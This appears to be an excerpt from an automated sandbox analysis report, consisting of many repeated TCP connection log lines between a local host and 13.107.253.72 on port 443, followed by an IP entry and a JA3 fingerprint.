Source: global traffic	TCP traffic: 13.107.253.72:443 -> 192.168.2.8:49701
Source: global traffic	TCP traffic: 192.168.2.8:49701 -> 13.107.253.72:443
Source: global traffic	TCP traffic: 13.107.253.72:443 -> 192.168.2.8:49701
Source: global traffic	TCP traffic: 13.107.253.72:443 -> 192.168.2.8:49701
Source: global traffic	TCP traffic: 192.168.2.8:49701 -> 13.107.253.72:443
Source: global traffic	TCP traffic: 13.107.253.72:443 -> 192.168.2.8:49701
Source: global traffic	TCP traffic: 192.168.2.8:49701 -> 13.107.253.72:443
Source: global traffic	TCP traffic: 192.168.2.8:49701 -> 13.107.253.72:443
Source: global traffic	TCP traffic: 13.107.253.72:443 -> 192.168.2.8:49701
Source: global traffic	TCP traffic: 13.107.253.72:443 -> 192.168.2.8:49701
Source: global traffic	TCP traffic: 192.168.2.8:49701 -> 13.107.253.72:443
Source: global traffic	TCP traffic: 13.107.253.72:443 -> 192.168.2.8:49701
Source: global traffic	TCP traffic: 192.168.2.8:49701 -> 13.107.253.72:443
Source: global traffic	TCP traffic: 192.168.2.8:49701 -> 13.107.253.72:443
Source: global traffic	TCP traffic: 13.107.253.72:443 -> 192.168.2.8:49701
Source: global traffic	TCP traffic: 13.107.253.72:443 -> 192.168.2.8:49701
Source: global traffic	TCP traffic: 192.168.2.8:49701 -> 13.107.253.72:443
Source: global traffic	TCP traffic: 13.107.253.72:443 -> 192.168.2.8:49701
Source: global traffic	TCP traffic: 192.168.2.8:49701 -> 13.107.253.72:443
Source: global traffic	TCP traffic: 192.168.2.8:49701 -> 13.107.253.72:443
Source: global traffic	TCP traffic: 13.107.253.72:443 -> 192.168.2.8:49701
Source: global traffic	TCP traffic: 13.107.253.72:443 -> 192.168.2.8:49701
Source: global traffic	TCP traffic: 192.168.2.8:49701 -> 13.107.253.72:443
Source: global traffic	TCP traffic: 192.168.2.8:49701 -> 13.107.253.72:443
Source: global traffic	TCP traffic: 13.107.253.72:443 -> 192.168.2.8:49701
Source: global traffic	TCP traffic: 192.168.2.8:49701 -> 13.107.253.72:443
Source: global traffic	TCP traffic: 13.107.253.72:443 -> 192.168.2.8:49701
Source: global traffic	TCP traffic: 13.107.253.72:443 -> 192.168.2.8:49701
Source: global traffic	TCP traffic: 192.168.2.8:49701 -> 13.107.253.72:443
Source: global traffic	TCP traffic: 13.107.253.72:443 -> 192.168.2.8:49701
Source: global traffic	TCP traffic: 192.168.2.8:49701 -> 13.107.253.72:443
Source: global traffic	TCP traffic: 13.107.253.72:443 -> 192.168.2.8:49701
Source: global traffic	TCP traffic: 13.107.253.72:443 -> 192.168.2.8:49701
Source: global traffic	TCP traffic: 192.168.2.8:49701 -> 13.107.253.72:443
Source: global traffic	TCP traffic: 13.107.253.72:443 -> 192.168.2.8:49701
Source: global traffic	TCP traffic: 192.168.2.8:49701 -> 13.107.253.72:443
Source: global traffic	TCP traffic: 13.107.253.72:443 -> 192.168.2.8:49701
Source: global traffic	TCP traffic: 13.107.253.72:443 -> 192.168.2.8:49701
Source: global traffic	TCP traffic: 192.168.2.8:49701 -> 13.107.253.72:443
Source: global traffic	TCP traffic: 13.107.253.72:443 -> 192.168.2.8:49701
Source: global traffic	TCP traffic: 192.168.2.8:49701 -> 13.107.253.72:443
Source: global traffic	TCP traffic: 192.168.2.8:49701 -> 13.107.253.72:443
Source: global traffic	TCP traffic: 13.107.253.72:443 -> 192.168.2.8:49701
Source: global traffic	TCP traffic: 13.107.253.72:443 -> 192.168.2.8:49701
Source: global traffic	TCP traffic: 192.168.2.8:49701 -> 13.107.253.72:443
Source: global traffic	TCP traffic: 13.107.253.72:443 -> 192.168.2.8:49701
Source: global traffic	TCP traffic: 192.168.2.8:49701 -> 13.107.253.72:443
Source: global traffic	TCP traffic: 192.168.2.8:49701 -> 13.107.253.72:443
Source: global traffic	TCP traffic: 13.107.253.72:443 -> 192.168.2.8:49701
Source: global traffic	TCP traffic: 13.107.253.72:443 -> 192.168.2.8:49701
Source: global traffic	TCP traffic: 192.168.2.8:49701 -> 13.107.253.72:443
Source: global traffic	TCP traffic: 13.107.253.72:443 -> 192.168.2.8:49701
Source: global traffic	TCP traffic: 192.168.2.8:49701 -> 13.107.253.72:443
Source: global traffic	TCP traffic: 192.168.2.8:49701 -> 13.107.253.72:443
Source: global traffic	TCP traffic: 13.107.253.72:443 -> 192.168.2.8:49701
Source: global traffic	TCP traffic: 13.107.253.72:443 -> 192.168.2.8:49701
Source: global traffic	TCP traffic: 192.168.2.8:49701 -> 13.107.253.72:443
Source: global traffic	TCP traffic: 13.107.253.72:443 -> 192.168.2.8:49701
Source: global traffic	TCP traffic: 192.168.2.8:49701 -> 13.107.253.72:443
Source: global traffic	TCP traffic: 13.107.253.72:443 -> 192.168.2.8:49701
Source: global traffic	TCP traffic: 13.107.253.72:443 -> 192.168.2.8:49701
Source: global traffic	TCP traffic: 192.168.2.8:49701 -> 13.107.253.72:443
Source: global traffic	TCP traffic: 13.107.253.72:443 -> 192.168.2.8:49701
Source: global traffic	TCP traffic: 192.168.2.8:49701 -> 13.107.253.72:443
Source: global traffic	TCP traffic: 192.168.2.8:49701 -> 13.107.253.72:443
Source: global traffic	TCP traffic: 13.107.253.72:443 -> 192.168.2.8:49701
Source: global traffic	TCP traffic: 13.107.253.72:443 -> 192.168.2.8:49701
Source: global traffic	TCP traffic: 192.168.2.8:49701 -> 13.107.253.72:443
Source: global traffic	TCP traffic: 13.107.253.72:443 -> 192.168.2.8:49701
Source: global traffic	TCP traffic: 192.168.2.8:49701 -> 13.107.253.72:443
Source: global traffic	TCP traffic: 13.107.253.72:443 -> 192.168.2.8:49701
Source: global traffic	TCP traffic: 13.107.253.72:443 -> 192.168.2.8:49701
Source: global traffic	TCP traffic: 192.168.2.8:49701 -> 13.107.253.72:443
Source: global traffic	TCP traffic: 13.107.253.72:443 -> 192.168.2.8:49701
Source: global traffic	TCP traffic: 192.168.2.8:49701 -> 13.107.253.72:443
Source: global traffic	TCP traffic: 192.168.2.8:49701 -> 13.107.253.72:443
Source: global traffic	TCP traffic: 13.107.253.72:443 -> 192.168.2.8:49701
Source: global traffic	TCP traffic: 13.107.253.72:443 -> 192.168.2.8:49701
Source: global traffic	TCP traffic: 192.168.2.8:49701 -> 13.107.253.72:443
Source: global traffic	TCP traffic: 192.168.2.8:49701 -> 13.107.253.72:443
Source: global traffic	TCP traffic: 13.107.253.72:443 -> 192.168.2.8:49701
Source: global traffic	TCP traffic: 192.168.2.8:49701 -> 13.107.253.72:443
Source: global traffic	TCP traffic: 13.107.253.72:443 -> 192.168.2.8:49701
Source: global traffic	TCP traffic: 13.107.253.72:443 -> 192.168.2.8:49701
Source: global traffic	TCP traffic: 192.168.2.8:49701 -> 13.107.253.72:443
Source: global traffic	TCP traffic: 192.168.2.8:49701 -> 13.107.253.72:443
Source: global traffic	TCP traffic: 13.107.253.72:443 -> 192.168.2.8:49701
Source: global traffic	TCP traffic: 192.168.2.8:49701 -> 13.107.253.72:443
Source: global traffic	TCP traffic: 13.107.253.72:443 -> 192.168.2.8:49701
Source: global traffic	TCP traffic: 13.107.253.72:443 -> 192.168.2.8:49701
Source: global traffic	TCP traffic: 192.168.2.8:49701 -> 13.107.253.72:443
Source: global traffic	TCP traffic: 192.168.2.8:49701 -> 13.107.253.72:443
Source: global traffic	TCP traffic: 13.107.253.72:443 -> 192.168.2.8:49701
Source: global traffic	TCP traffic: 192.168.2.8:49701 -> 13.107.253.72:443
Source: global traffic	TCP traffic: 13.107.253.72:443 -> 192.168.2.8:49701
Source: global traffic	TCP traffic: 13.107.253.72:443 -> 192.168.2.8:49701
Source: global traffic	TCP traffic: 192.168.2.8:49701 -> 13.107.253.72:443
Source: global traffic	TCP traffic: 13.107.253.72:443 -> 192.168.2.8:49701
Source: global traffic	TCP traffic: 192.168.2.8:49701 -> 13.107.253.72:443
Source: global traffic	TCP traffic: 13.107.253.72:443 -> 192.168.2.8:49701
Source: global traffic	TCP traffic: 13.107.253.72:443 -> 192.168.2.8:49701
Source: global traffic	TCP traffic: 192.168.2.8:49701 -> 13.107.253.72:443
Source: global traffic	TCP traffic: 13.107.253.72:443 -> 192.168.2.8:49701
Source: global traffic	TCP traffic: 192.168.2.8:49701 -> 13.107.253.72:443
Source: global traffic	TCP traffic: 13.107.253.72:443 -> 192.168.2.8:49701
Source: global traffic	TCP traffic: 13.107.253.72:443 -> 192.168.2.8:49701
Source: global traffic	TCP traffic: 192.168.2.8:49701 -> 13.107.253.72:443
Source: global traffic	TCP traffic: 13.107.253.72:443 -> 192.168.2.8:49701
Source: global traffic	TCP traffic: 192.168.2.8:49701 -> 13.107.253.72:443
Source: global traffic	TCP traffic: 13.107.253.72:443 -> 192.168.2.8:49701
Source: global traffic	TCP traffic: 13.107.253.72:443 -> 192.168.2.8:49701
Source: global traffic	TCP traffic: 192.168.2.8:49701 -> 13.107.253.72:443
Source: global traffic	TCP traffic: 13.107.253.72:443 -> 192.168.2.8:49701
Source: global traffic	TCP traffic: 192.168.2.8:49701 -> 13.107.253.72:443
Source: global traffic	TCP traffic: 13.107.253.72:443 -> 192.168.2.8:49701
Source: global traffic	TCP traffic: 13.107.253.72:443 -> 192.168.2.8:49701
Source: global traffic	TCP traffic: 192.168.2.8:49701 -> 13.107.253.72:443
Source: global traffic	TCP traffic: 13.107.253.72:443 -> 192.168.2.8:49701
Source: global traffic	TCP traffic: 192.168.2.8:49701 -> 13.107.253.72:443
Source: global traffic	TCP traffic: 13.107.253.72:443 -> 192.168.2.8:49701
Source: global traffic	TCP traffic: 13.107.253.72:443 -> 192.168.2.8:49701
Source: global traffic	TCP traffic: 192.168.2.8:49701 -> 13.107.253.72:443
Source: global traffic	TCP traffic: 13.107.253.72:443 -> 192.168.2.8:49701
Source: global traffic	TCP traffic: 192.168.2.8:49701 -> 13.107.253.72:443
Source: global traffic	TCP traffic: 192.168.2.8:49701 -> 13.107.253.72:443
Source: global traffic	TCP traffic: 13.107.253.72:443 -> 192.168.2.8:49701
Source: global traffic	TCP traffic: 13.107.253.72:443 -> 192.168.2.8:49701
Source: global traffic	TCP traffic: 192.168.2.8:49701 -> 13.107.253.72:443
Source: global traffic	TCP traffic: 13.107.253.72:443 -> 192.168.2.8:49701
Source: global traffic	TCP traffic: 192.168.2.8:49701 -> 13.107.253.72:443
Source: global traffic	TCP traffic: 13.107.253.72:443 -> 192.168.2.8:49701
Source: global traffic	TCP traffic: 13.107.253.72:443 -> 192.168.2.8:49701
Source: global traffic	TCP traffic: 192.168.2.8:49701 -> 13.107.253.72:443
Source: global traffic	TCP traffic: 13.107.253.72:443 -> 192.168.2.8:49701
Source: global traffic	TCP traffic: 192.168.2.8:49701 -> 13.107.253.72:443
Source: global traffic	TCP traffic: 192.168.2.8:49701 -> 13.107.253.72:443
Source: global traffic	TCP traffic: 13.107.253.72:443 -> 192.168.2.8:49701
Source: global traffic	TCP traffic: 13.107.253.72:443 -> 192.168.2.8:49701
Source: global traffic	TCP traffic: 192.168.2.8:49701 -> 13.107.253.72:443
Source: global traffic	TCP traffic: 13.107.253.72:443 -> 192.168.2.8:49701
Source: global traffic	TCP traffic: 192.168.2.8:49701 -> 13.107.253.72:443
Source: global traffic	TCP traffic: 192.168.2.8:49701 -> 13.107.253.72:443
Source: global traffic	TCP traffic: 13.107.253.72:443 -> 192.168.2.8:49701
Source: global traffic	TCP traffic: 13.107.253.72:443 -> 192.168.2.8:49701
Source: global traffic	TCP traffic: 192.168.2.8:49701 -> 13.107.253.72:443
Source: global traffic	TCP traffic: 13.107.253.72:443 -> 192.168.2.8:49701
Source: global traffic	TCP traffic: 192.168.2.8:49701 -> 13.107.253.72:443
Source: global traffic	TCP traffic: 13.107.253.72:443 -> 192.168.2.8:49701
Source: global traffic	TCP traffic: 13.107.253.72:443 -> 192.168.2.8:49701
Source: global traffic	TCP traffic: 192.168.2.8:49701 -> 13.107.253.72:443
Source: global traffic	TCP traffic: 13.107.253.72:443 -> 192.168.2.8:49701
Source: global traffic	TCP traffic: 192.168.2.8:49701 -> 13.107.253.72:443
Source: global traffic	TCP traffic: 192.168.2.8:49701 -> 13.107.253.72:443
Source: global traffic	TCP traffic: 13.107.253.72:443 -> 192.168.2.8:49701
Source: global traffic	TCP traffic: 13.107.253.72:443 -> 192.168.2.8:49701
Source: global traffic	TCP traffic: 192.168.2.8:49701 -> 13.107.253.72:443
Source: global traffic	TCP traffic: 192.168.2.8:49701 -> 13.107.253.72:443
Source: global traffic	TCP traffic: 13.107.253.72:443 -> 192.168.2.8:49701
Source: global traffic	TCP traffic: 192.168.2.8:49701 -> 13.107.253.72:443
Source: global traffic	TCP traffic: 13.107.253.72:443 -> 192.168.2.8:49701
Source: global traffic	TCP traffic: 13.107.253.72:443 -> 192.168.2.8:49701
Source: global traffic	TCP traffic: 192.168.2.8:49701 -> 13.107.253.72:443
Source: global traffic	TCP traffic: 192.168.2.8:49701 -> 13.107.253.72:443
Source: global traffic	TCP traffic: 13.107.253.72:443 -> 192.168.2.8:49701
Source: global traffic	TCP traffic: 192.168.2.8:49701 -> 13.107.253.72:443
Source: global traffic	TCP traffic: 13.107.253.72:443 -> 192.168.2.8:49701
Source: global traffic	TCP traffic: 13.107.253.72:443 -> 192.168.2.8:49701
Source: global traffic	TCP traffic: 192.168.2.8:49701 -> 13.107.253.72:443
Source: global traffic	TCP traffic: 13.107.253.72:443 -> 192.168.2.8:49701
Source: global traffic	TCP traffic: 192.168.2.8:49701 -> 13.107.253.72:443
Source: global traffic	TCP traffic: 13.107.253.72:443 -> 192.168.2.8:49701
Source: global traffic	TCP traffic: 13.107.253.72:443 -> 192.168.2.8:49701
Source: global traffic	TCP traffic: 192.168.2.8:49701 -> 13.107.253.72:443
Source: global traffic	TCP traffic: 13.107.253.72:443 -> 192.168.2.8:49701
Source: global traffic	TCP traffic: 192.168.2.8:49701 -> 13.107.253.72:443
Source: global traffic	TCP traffic: 13.107.253.72:443 -> 192.168.2.8:49701
Source: global traffic	TCP traffic: 13.107.253.72:443 -> 192.168.2.8:49701
Source: global traffic	TCP traffic: 192.168.2.8:49701 -> 13.107.253.72:443
Source: global traffic	TCP traffic: 13.107.253.72:443 -> 192.168.2.8:49701
Source: global traffic	TCP traffic: 192.168.2.8:49701 -> 13.107.253.72:443
Source: global traffic	TCP traffic: 192.168.2.8:49701 -> 13.107.253.72:443
Source: global traffic	TCP traffic: 13.107.253.72:443 -> 192.168.2.8:49701
Source: global traffic	TCP traffic: 13.107.253.72:443 -> 192.168.2.8:49701
Source: global traffic	TCP traffic: 192.168.2.8:49701 -> 13.107.253.72:443
Source: global traffic	TCP traffic: 13.107.253.72:443 -> 192.168.2.8:49701
Source: global traffic	TCP traffic: 192.168.2.8:49701 -> 13.107.253.72:443
Source: global traffic	TCP traffic: 13.107.253.72:443 -> 192.168.2.8:49701
Source: global traffic	TCP traffic: 13.107.253.72:443 -> 192.168.2.8:49701
Source: global traffic	TCP traffic: 192.168.2.8:49701 -> 13.107.253.72:443
Source: global traffic	TCP traffic: 13.107.253.72:443 -> 192.168.2.8:49701
Source: global traffic	TCP traffic: 192.168.2.8:49701 -> 13.107.253.72:443
Source: global traffic	TCP traffic: 13.107.253.72:443 -> 192.168.2.8:49701
Source: global traffic	TCP traffic: 13.107.253.72:443 -> 192.168.2.8:49701
Source: global traffic	TCP traffic: 192.168.2.8:49701 -> 13.107.253.72:443
Source: global traffic	TCP traffic: 13.107.253.72:443 -> 192.168.2.8:49701
Source: global traffic	TCP traffic: 192.168.2.8:49701 -> 13.107.253.72:443
Source: global traffic	TCP traffic: 13.107.253.72:443 -> 192.168.2.8:49701
Source: global traffic	TCP traffic: 13.107.253.72:443 -> 192.168.2.8:49701
Source: global traffic	TCP traffic: 192.168.2.8:49701 -> 13.107.253.72:443
Source: global traffic	TCP traffic: 13.107.253.72:443 -> 192.168.2.8:49701
Source: global traffic	TCP traffic: 192.168.2.8:49701 -> 13.107.253.72:443
Source: global traffic	TCP traffic: 13.107.253.72:443 -> 192.168.2.8:49701
Source: global traffic	TCP traffic: 13.107.253.72:443 -> 192.168.2.8:49701
Source: global traffic	TCP traffic: 192.168.2.8:49701 -> 13.107.253.72:443
Source: global traffic	TCP traffic: 13.107.253.72:443 -> 192.168.2.8:49701
Source: global traffic	TCP traffic: 192.168.2.8:49701 -> 13.107.253.72:443
Source: global traffic	TCP traffic: 192.168.2.8:49701 -> 13.107.253.72:443
Source: global traffic	TCP traffic: 13.107.253.72:443 -> 192.168.2.8:49701
Source: global traffic	TCP traffic: 13.107.253.72:443 -> 192.168.2.8:49701
Source: global traffic	TCP traffic: 192.168.2.8:49701 -> 13.107.253.72:443
Source: global traffic	TCP traffic: 13.107.253.72:443 -> 192.168.2.8:49701
Source: global traffic	TCP traffic: 192.168.2.8:49701 -> 13.107.253.72:443
Source: global traffic	TCP traffic: 13.107.253.72:443 -> 192.168.2.8:49701
Source: global traffic	TCP traffic: 13.107.253.72:443 -> 192.168.2.8:49701
Source: global traffic	TCP traffic: 192.168.2.8:49701 -> 13.107.253.72:443
Source: global traffic	TCP traffic: 13.107.253.72:443 -> 192.168.2.8:49701
Source: global traffic	TCP traffic: 192.168.2.8:49701 -> 13.107.253.72:443
Source: global traffic	TCP traffic: 13.107.253.72:443 -> 192.168.2.8:49701
Source: global traffic	TCP traffic: 13.107.253.72:443 -> 192.168.2.8:49701
Source: global traffic	TCP traffic: 192.168.2.8:49701 -> 13.107.253.72:443
Source: global traffic	TCP traffic: 13.107.253.72:443 -> 192.168.2.8:49701
Source: global traffic	TCP traffic: 192.168.2.8:49701 -> 13.107.253.72:443
Source: global traffic	TCP traffic: 13.107.253.72:443 -> 192.168.2.8:49701
Source: global traffic	TCP traffic: 13.107.253.72:443 -> 192.168.2.8:49701
Source: global traffic	TCP traffic: 192.168.2.8:49701 -> 13.107.253.72:443
Source: global traffic	TCP traffic: 13.107.253.72:443 -> 192.168.2.8:49701
Source: global traffic	TCP traffic: 192.168.2.8:49701 -> 13.107.253.72:443
Source: global traffic	TCP traffic: 13.107.253.72:443 -> 192.168.2.8:49701
Source: global traffic	TCP traffic: 13.107.253.72:443 -> 192.168.2.8:49701
Source: global traffic	TCP traffic: 192.168.2.8:49701 -> 13.107.253.72:443
Source: global traffic	TCP traffic: 13.107.253.72:443 -> 192.168.2.8:49701
Source: global traffic	TCP traffic: 192.168.2.8:49701 -> 13.107.253.72:443
Source: global traffic	TCP traffic: 13.107.253.72:443 -> 192.168.2.8:49701
Source: global traffic	TCP traffic: 13.107.253.72:443 -> 192.168.2.8:49701
Source: global traffic	TCP traffic: 192.168.2.8:49701 -> 13.107.253.72:443
Source: global traffic	TCP traffic: 13.107.253.72:443 -> 192.168.2.8:49701
Source: global traffic	TCP traffic: 192.168.2.8:49701 -> 13.107.253.72:443
Source: global traffic	TCP traffic: 192.168.2.8:49701 -> 13.107.253.72:443
Source: global traffic	TCP traffic: 13.107.253.72:443 -> 192.168.2.8:49701
Source: global traffic	TCP traffic: 13.107.253.72:443 -> 192.168.2.8:49701
Source: global traffic	TCP traffic: 192.168.2.8:49701 -> 13.107.253.72:443
Source: global traffic	TCP traffic: 13.107.253.72:443 -> 192.168.2.8:49701
Source: global traffic	TCP traffic: 192.168.2.8:49701 -> 13.107.253.72:443
Source: global traffic	TCP traffic: 13.107.253.72:443 -> 192.168.2.8:49701
Source: global traffic	TCP traffic: 13.107.253.72:443 -> 192.168.2.8:49701
Source: global traffic	TCP traffic: 192.168.2.8:49701 -> 13.107.253.72:443
Source: global traffic	TCP traffic: 13.107.253.72:443 -> 192.168.2.8:49701
Source: global traffic	TCP traffic: 192.168.2.8:49701 -> 13.107.253.72:443
Source: global traffic	TCP traffic: 13.107.253.72:443 -> 192.168.2.8:49701
Source: global traffic	TCP traffic: 13.107.253.72:443 -> 192.168.2.8:49701
Source: global traffic	TCP traffic: 192.168.2.8:49701 -> 13.107.253.72:443
Source: global traffic	TCP traffic: 13.107.253.72:443 -> 192.168.2.8:49701
Source: global traffic	TCP traffic: 192.168.2.8:49701 -> 13.107.253.72:443
Source: global traffic	TCP traffic: 13.107.253.72:443 -> 192.168.2.8:49701
Source: global traffic	TCP traffic: 13.107.253.72:443 -> 192.168.2.8:49701
Source: global traffic	TCP traffic: 192.168.2.8:49701 -> 13.107.253.72:443
Source: global traffic	TCP traffic: 13.107.253.72:443 -> 192.168.2.8:49701
Source: global traffic	TCP traffic: 192.168.2.8:49701 -> 13.107.253.72:443
Source: global traffic	TCP traffic: 13.107.253.72:443 -> 192.168.2.8:49701
Source: global traffic	TCP traffic: 13.107.253.72:443 -> 192.168.2.8:49701
Source: global traffic	TCP traffic: 192.168.2.8:49701 -> 13.107.253.72:443
Source: global traffic	TCP traffic: 13.107.253.72:443 -> 192.168.2.8:49701
Source: global traffic	TCP traffic: 192.168.2.8:49701 -> 13.107.253.72:443
Source: global traffic	TCP traffic: 192.168.2.8:49701 -> 13.107.253.72:443
Source: global traffic	TCP traffic: 13.107.253.72:443 -> 192.168.2.8:49701
Source: global traffic	TCP traffic: 13.107.253.72:443 -> 192.168.2.8:49701
Source: global traffic	TCP traffic: 192.168.2.8:49701 -> 13.107.253.72:443
Source: global traffic	TCP traffic: 13.107.253.72:443 -> 192.168.2.8:49701
Source: global traffic	TCP traffic: 192.168.2.8:49701 -> 13.107.253.72:443
Source: global traffic	TCP traffic: 192.168.2.8:49701 -> 13.107.253.72:443
Source: global traffic	TCP traffic: 13.107.253.72:443 -> 192.168.2.8:49701
Source: global traffic	TCP traffic: 13.107.253.72:443 -> 192.168.2.8:49701
Source: global traffic	TCP traffic: 192.168.2.8:49701 -> 13.107.253.72:443
Source: global traffic	TCP traffic: 13.107.253.72:443 -> 192.168.2.8:49701
Source: global traffic	TCP traffic: 192.168.2.8:49701 -> 13.107.253.72:443
Source: global traffic	TCP traffic: 13.107.253.72:443 -> 192.168.2.8:49701
Source: global traffic	TCP traffic: 13.107.253.72:443 -> 192.168.2.8:49701
Source: global traffic	TCP traffic: 192.168.2.8:49701 -> 13.107.253.72:443
Source: global traffic	TCP traffic: 13.107.253.72:443 -> 192.168.2.8:49701
Source: global traffic	TCP traffic: 192.168.2.8:49701 -> 13.107.253.72:443
Source: global traffic	TCP traffic: 13.107.253.72:443 -> 192.168.2.8:49701
Source: global traffic	TCP traffic: 13.107.253.72:443 -> 192.168.2.8:49701
Source: global traffic	TCP traffic: 192.168.2.8:49701 -> 13.107.253.72:443
Source: global traffic	TCP traffic: 192.168.2.8:49701 -> 13.107.253.72:443
Source: global traffic	TCP traffic: 13.107.253.72:443 -> 192.168.2.8:49701
Source: global traffic	TCP traffic: 192.168.2.8:49701 -> 13.107.253.72:443
Source: global traffic	TCP traffic: 13.107.253.72:443 -> 192.168.2.8:49701
Source: global traffic	TCP traffic: 13.107.253.72:443 -> 192.168.2.8:49701
Source: global traffic	TCP traffic: 192.168.2.8:49701 -> 13.107.253.72:443
Source: global traffic	TCP traffic: 13.107.253.72:443 -> 192.168.2.8:49701
Source: global traffic	TCP traffic: 192.168.2.8:49701 -> 13.107.253.72:443
Source: global traffic	TCP traffic: 13.107.253.72:443 -> 192.168.2.8:49701
Source: global traffic	TCP traffic: 13.107.253.72:443 -> 192.168.2.8:49701
Source: global traffic	TCP traffic: 192.168.2.8:49701 -> 13.107.253.72:443
Source: global traffic	TCP traffic: 13.107.253.72:443 -> 192.168.2.8:49701
Source: global traffic	TCP traffic: 192.168.2.8:49701 -> 13.107.253.72:443
Source: global traffic	TCP traffic: 13.107.253.72:443 -> 192.168.2.8:49701
Source: global traffic	TCP traffic: 13.107.253.72:443 -> 192.168.2.8:49701
Source: global traffic	TCP traffic: 192.168.2.8:49701 -> 13.107.253.72:443
Source: global traffic	TCP traffic: 13.107.253.72:443 -> 192.168.2.8:49701
Source: global traffic	TCP traffic: 192.168.2.8:49701 -> 13.107.253.72:443
Source: global traffic	TCP traffic: 13.107.253.72:443 -> 192.168.2.8:49701
Source: global traffic	TCP traffic: 13.107.253.72:443 -> 192.168.2.8:49701
Source: global traffic	TCP traffic: 192.168.2.8:49701 -> 13.107.253.72:443
Source: global traffic	TCP traffic: 13.107.253.72:443 -> 192.168.2.8:49701
Source: global traffic	TCP traffic: 192.168.2.8:49701 -> 13.107.253.72:443
Source: global traffic	TCP traffic: 192.168.2.8:49701 -> 13.107.253.72:443
Source: global traffic	TCP traffic: 13.107.253.72:443 -> 192.168.2.8:49701
Source: global traffic	TCP traffic: 13.107.253.72:443 -> 192.168.2.8:49701
Source: global traffic	TCP traffic: 192.168.2.8:49701 -> 13.107.253.72:443
Source: global traffic	TCP traffic: 13.107.253.72:443 -> 192.168.2.8:49701
Source: global traffic	TCP traffic: 192.168.2.8:49701 -> 13.107.253.72:443
Source: global traffic	TCP traffic: 192.168.2.8:49701 -> 13.107.253.72:443
Source: global traffic	TCP traffic: 13.107.253.72:443 -> 192.168.2.8:49701
Source: global traffic	TCP traffic: 13.107.253.72:443 -> 192.168.2.8:49701
Source: global traffic	TCP traffic: 192.168.2.8:49701 -> 13.107.253.72:443
Source: global traffic	TCP traffic: 13.107.253.72:443 -> 192.168.2.8:49701
Source: global traffic	TCP traffic: 192.168.2.8:49701 -> 13.107.253.72:443
Source: global traffic	TCP traffic: 192.168.2.8:49701 -> 13.107.253.72:443
Source: global traffic	TCP traffic: 13.107.253.72:443 -> 192.168.2.8:49701
Source: global traffic	TCP traffic: 13.107.253.72:443 -> 192.168.2.8:49701
Source: global traffic	TCP traffic: 192.168.2.8:49701 -> 13.107.253.72:443
Source: global traffic	TCP traffic: 13.107.253.72:443 -> 192.168.2.8:49701
Source: global traffic	TCP traffic: 192.168.2.8:49701 -> 13.107.253.72:443
Source: global traffic	TCP traffic: 192.168.2.8:49701 -> 13.107.253.72:443
Source: global traffic	TCP traffic: 13.107.253.72:443 -> 192.168.2.8:49701
Source: global traffic	TCP traffic: 13.107.253.72:443 -> 192.168.2.8:49701
Source: global traffic	TCP traffic: 13.107.253.72:443 -> 192.168.2.8:49701
Source: global traffic	TCP traffic: 192.168.2.8:49701 -> 13.107.253.72:443
Source: global traffic	TCP traffic: 13.107.253.72:443 -> 192.168.2.8:49701
Source: global traffic	TCP traffic: 13.107.253.72:443 -> 192.168.2.8:49701
Source: global traffic	TCP traffic: 192.168.2.8:49701 -> 13.107.253.72:443
Source: global traffic	TCP traffic: 192.168.2.8:49701 -> 13.107.253.72:443
Source: global traffic	TCP traffic: 192.168.2.8:49701 -> 13.107.253.72:443
Source: global traffic	TCP traffic: 192.168.2.8:49701 -> 13.107.253.72:443
Source: global traffic	TCP traffic: 13.107.253.72:443 -> 192.168.2.8:49701
Source: global traffic	TCP traffic: 13.107.253.72:443 -> 192.168.2.8:49701
Source: global traffic	TCP traffic: 192.168.2.8:49702 -> 13.107.253.72:443
Source: global traffic	TCP traffic: 13.107.253.72:443 -> 192.168.2.8:49702
Source: global traffic	TCP traffic: 192.168.2.8:49703 -> 13.107.253.72:443
Source: global traffic	TCP traffic: 192.168.2.8:49702 -> 13.107.253.72:443
Source: global traffic	TCP traffic: 13.107.253.72:443 -> 192.168.2.8:49703
Source: global traffic	TCP traffic: 192.168.2.8:49703 -> 13.107.253.72:443
Source: global traffic	TCP traffic: 192.168.2.8:49702 -> 13.107.253.72:443
Source: global traffic	TCP traffic: 13.107.253.72:443 -> 192.168.2.8:49702
Source: global traffic	TCP traffic: 192.168.2.8:49703 -> 13.107.253.72:443
Source: global traffic	TCP traffic: 13.107.253.72:443 -> 192.168.2.8:49703
Source: global traffic	TCP traffic: 13.107.253.72:443 -> 192.168.2.8:49703
Source: global traffic	TCP traffic: 192.168.2.8:49703 -> 13.107.253.72:443
Source: global traffic	TCP traffic: 13.107.253.72:443 -> 192.168.2.8:49703
Source: global traffic	TCP traffic: 192.168.2.8:49703 -> 13.107.253.72:443
Source: global traffic	TCP traffic: 13.107.253.72:443 -> 192.168.2.8:49703
Source: global traffic	TCP traffic: 13.107.253.72:443 -> 192.168.2.8:49702
Source: global traffic	TCP traffic: 192.168.2.8:49702 -> 13.107.253.72:443
Source: global traffic	TCP traffic: 13.107.253.72:443 -> 192.168.2.8:49702
Source: global traffic	TCP traffic: 192.168.2.8:49702 -> 13.107.253.72:443
Source: global traffic	TCP traffic: 13.107.253.72:443 -> 192.168.2.8:49702
Source: global traffic	TCP traffic: 13.107.253.72:443 -> 192.168.2.8:49703
Source: global traffic	TCP traffic: 13.107.253.72:443 -> 192.168.2.8:49703
Source: global traffic	TCP traffic: 192.168.2.8:49703 -> 13.107.253.72:443
Source: global traffic	TCP traffic: 192.168.2.8:49703 -> 13.107.253.72:443
Source: global traffic	TCP traffic: 192.168.2.8:49703 -> 13.107.253.72:443
Source: global traffic	TCP traffic: 13.107.253.72:443 -> 192.168.2.8:49703
Source: global traffic	TCP traffic: 13.107.253.72:443 -> 192.168.2.8:49702
Source: global traffic	TCP traffic: 13.107.253.72:443 -> 192.168.2.8:49702
Source: global traffic	TCP traffic: 13.107.253.72:443 -> 192.168.2.8:49702
Source: global traffic	TCP traffic: 192.168.2.8:49702 -> 13.107.253.72:443
Source: global traffic	TCP traffic: 192.168.2.8:49702 -> 13.107.253.72:443
Source: global traffic	TCP traffic: 192.168.2.8:49702 -> 13.107.253.72:443
Source: global traffic	TCP traffic: 13.107.253.72:443 -> 192.168.2.8:49702
Source: global traffic	TCP traffic: 192.168.2.8:49702 -> 13.107.253.72:443
Source: global traffic	TCP traffic: 13.107.253.72:443 -> 192.168.2.8:49702

Source: Joe Sandbox View

IP Address: 13.107.253.72 13.107.253.72

Source: Joe Sandbox View	JA3 fingerprint: 6271f898ce5be7dd52b0fc260d0662b3
